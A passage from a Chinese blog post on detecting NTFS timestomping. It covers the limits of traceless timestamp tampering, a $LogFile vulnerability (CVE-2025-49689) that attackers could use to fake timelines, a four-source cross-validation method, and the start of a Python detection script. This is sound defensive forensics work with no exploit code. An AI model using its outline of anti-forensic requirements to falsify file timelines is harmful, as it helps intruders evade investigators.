的篡改本身会产生新的日志记录——完全无痕在技术上极其困难。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"44-局限性分析\">4.4 局限性分析<a class=\"hash-link\" aria-label=\"4.4 局限性分析的直接链接\" title=\"4.4 局限性分析的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#44-%E5%B1%80%E9%99%90%E6%80%A7%E5%88%86%E6%9E%90\">​</a></h3>\n<p>真正无痕的 Timestomping 需同时满足：内核级直接磁盘写入修改 $SI 和 $FN；修改或删除 USN Journal 中关联的 <code>BASIC_INFO_CHANGE</code> 记录；修改或删除 $LogFile 中关联的事务记录；确保所有修改的纳秒精度一致。USN Journal 与 $LogFile 使用不同的二进制格式和存储机制，且对日志的修改本身又会产生新的记录——这使得完全无痕的 Timestomping 在理论可行但实际操作中几乎无法实现。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"45-logfile-漏洞cve-2025-49689\">4.5 $LogFile 漏洞（CVE-2025-49689）<a class=\"hash-link\" aria-label=\"4.5 $LogFile 漏洞（CVE-2025-49689）的直接链接\" title=\"4.5 $LogFile 漏洞（CVE-2025-49689）的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#45-logfile-%E6%BC%8F%E6%B4%9Ecve-2025-49689\">​</a></h3>\n<p>2025 年，安全研究员 Sergey Tarasov 披露了 $LogFile 日志重放机制中的本地提权漏洞 CVE-2025-49689，影响自 Windows XP SP1 以来所有版本。漏洞根源在于 <code>ntfs!NtfsMountVolume</code> 解析 $LogFile 事务记录时的整型溢出，可导致任意覆写与安全描述符篡改。</p>\n<p>这一发现对取证分析提出了新的挑战：攻击者可利用 $LogFile 日志重放机制向文件系统注入恶意记录，制造虚假操作时间线，或直接擦除关键事务记录。常规的取证假设——\"$LogFile 记录总是真实可信\"——需要在漏洞利用场景下重新审视。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-四源交叉验证框架\">5. 四源交叉验证框架<a class=\"hash-link\" aria-label=\"5. 四源交叉验证框架的直接链接\" title=\"5. 四源交叉验证框架的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#5-%E5%9B%9B%E6%BA%90%E4%BA%A4%E5%8F%89%E9%AA%8C%E8%AF%81%E6%A1%86%E6%9E%B6\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"51-验证逻辑\">5.1 验证逻辑<a class=\"hash-link\" aria-label=\"5.1 验证逻辑的直接链接\" title=\"5.1 验证逻辑的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#51-%E9%AA%8C%E8%AF%81%E9%80%BB%E8%BE%91\">​</a></h3>\n<p>给定以下四套独立时间戳记录体系：</p>\n<table><thead><tr><th>数据源</th><th>时间戳类型</th><th>精度</th><th>可篡改程度</th><th>存储位置</th></tr></thead><tbody><tr><td>$SI</td><td>MACB</td><td>100 纳秒</td><td>用户态 API</td><td>MFT $STANDARD_INFORMATION</td></tr><tr><td>$FN</td><td>MACB</td><td>100 纳秒</td><td>需内核 API 或重命名</td><td>MFT $FILE_NAME</td></tr><tr><td>USN Journal</td><td>操作时间</td><td>取决于记录</td><td>需内核权限，操作留痕</td><td><code>\\$UsnJrnl:\\$J</code></td></tr><tr><td>$LogFile</td><td>事务时间</td><td>取决于记录</td><td>极高难度，需直接写磁盘</td><td><code>\\$LogFile</code></td></tr></tbody></table>\n<p>交叉验证的核心逻辑：若同一文件的四套时间戳之间存在不一致（如 $SI 显示 2018 年的创建时间，但 USN Journal 显示该文件 2025 年才首次出现 <code>FILE_CREATE</code> 事件），则 $SI 时间戳必然是伪造的。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"52-验证流程\">5.2 验证流程<a class=\"hash-link\" aria-label=\"5.2 验证流程的直接链接\" title=\"5.2 验证流程的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#52-%E9%AA%8C%E8%AF%81%E6%B5%81%E7%A8%8B\">​</a></h3>\n<p>以可疑可执行文件为例：</p>\n<ol>\n<li><strong>$SI / $FN 比对</strong>：使用 MFT 解析工具提取两组时间戳。差异超过阈值则标记可疑。</li>\n<li><strong>USN Journal 回溯</strong>：搜索文件的 MFT 引用号，关注 <code>FILE_CREATE</code>（首现时刻）和 <code>BASIC_INFO_CHANGE</code>（Timestomping 时刻）记录。</li>\n<li><strong>$LogFile 深度验证</strong>：搜索关联事务日志条目，<code>SetBasicInfo</code> 操作的时间即为 Timestomping 真实时刻。</li>\n<li><strong>纳秒精度检验</strong>：检查 FILETIME 值的纳秒分量是否为全零——低级 Timestomping 的信号。</li>\n</ol>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"53-自动化检测��引擎\">5.3 自动化检测引擎<a class=\"hash-link\" aria-label=\"5.3 自动化检测引擎的直接链接\" title=\"5.3 自动化检测引擎的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#53-%E8%87%AA%E5%8A%A8%E5%8C%96%E6%A3%80%E6%B5%8B%E5%BC%95%E6%93%8E\">​</a></h3>\n<p>以下 Python 脚本基于 MFTECmd 的 CSV 输出实现四源交叉验证：</p>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token comment\" style=\"color:#999988;font-style:italic\">#!/usr/bin/env python3</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token triple-quoted-string string\" style=\"color:#e3116c\">\"\"\"</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token triple-quoted-string string\" style=\"color:#e3116c\">四源 Timestomping 检测引擎 — 基于 MFTECmd CSV 输出的交叉验证</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token triple-quoted-string string\" style=\"color:#e3116c\">\"\"\"</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">import</span><span class=\"token plain\"> csv</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">from</span><span class=\"token plain\"> datetime </span><span class=\"token keyword\" style=\"color:#00009f\">import</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> timedelta</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">from</span><span class=\"token plain\"> collections </span><span class=\"token keyword\" style=\"color:#00009f\">import</span><span class=\"token plain\"> defaultdict</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">from</span><span class=\"token plain\"> dataclasses </span><span class=\"token keyword\" style=\"color:#00009f\">import</span><span class=\"token plain\"> dataclass</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">from</span><span class=\"token plain\"> typing </span><span class=\"token keyword\" style=\"color:#00009f\">import</span><span class=\"token plain\"> Optional</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> List</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> Dict</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">WINDOWS_TICK </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">10000000</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">SEC_TO_UNIX_EPOCH </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">11644473600</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">ft</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> ft </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token number\" style=\"color:#36acaa\">1601</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">utcfromtimestamp</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">ft </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token plain\"> SEC_TO_UNIX_EPOCH </span><span class=\"token operator\" style=\"color:#393A34\">*</span><span class=\"token plain\"> WINDOWS_TICK</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">/</span><span class=\"token plain\"> WINDOWS_TICK</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">check_nanosecond_zero</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">ft</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">-</span><span class=\"token operator\" style=\"color:#393A34\">&gt;</span><span class=\"token plain\"> </span><span class=\"token builtin\">bool</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">ft </span><span class=\"token operator\" style=\"color:#393A34\">%</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">10000000</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token decorator annotation punctuation\" style=\"color:#393A34\">@dataclass</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">class</span><span class=\"token plain\"> </span><span class=\"token class-name\">MftTimestampRecord</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    file_name</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> full_path</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> mft_entry</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    si_created</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> si_modified</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    si_accessed</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> si_mft_changed</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    fn_created</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> fn_modified</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    fn_accessed</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> fn_mft_changed</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    si_created_raw</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> fn_created_raw</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token decorator annotation punctuation\" style=\"color:#393A34\">@dataclass</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">class</span><span class=\"token plain\"> </span><span class=\"token class-name\">UsnRecord</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    timestamp</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> reason</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    reason_code</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> mft_entry</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> file_name</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token decorator annotation punctuation\" style=\"color:#393A34\">@dataclass</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">class</span><span class=\"token plain\"> </span><span class=\"token class-name\">TimestompingAlert</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    file_path</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> severity</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    alert_type</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> evidence</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> List</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    si_time</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> Optional</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> fn_time</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> Optional</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    usn_time</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> Optional</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"> logfile_time</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> Optional</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">class</span><span class=\"token plain\"> </span><span class=\"token class-name\">TimestompingDetector</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">__init__</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">mft_records</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> Dict</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> MftTimestampRecord</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">usn_records</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> Dict</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> List</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">UsnRecord</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> defaultdict</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token builtin\">list</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">def</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">load_mft_csv</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">self</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> csv_path</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token builtin\">str</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">with</span><span class=\"token plain\"> </span><span class=\"token builtin\">open</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">csv_path</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'r'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> encoding</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token string\" style=\"color:#e3116c\">'utf-8'</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">as</span><span class=\"token plain\"> f</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token keyword\" style=\"color:#00009f\">for</span><span class=\"token plain\"> row </span><span class=\"token keyword\" style=\"color:#00009f\">in</span><span class=\"token plain\"> csv</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">DictReader</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">f</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                entry </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'EntryNumber'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                si_c </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'SICreated'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                fn_c </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token builtin\">int</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'FNCreated'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                self</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">mft_records</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">entry</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> MftTimestampRecord</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    file_name</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'FileName'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">''</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    full_path</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">row</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">get</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">'FullPath'</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">''</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    mft_entry</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">entry</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">                    si_created</span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\">filetime_to_datetime</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">si_c</span><span class=\"token punctuation\" 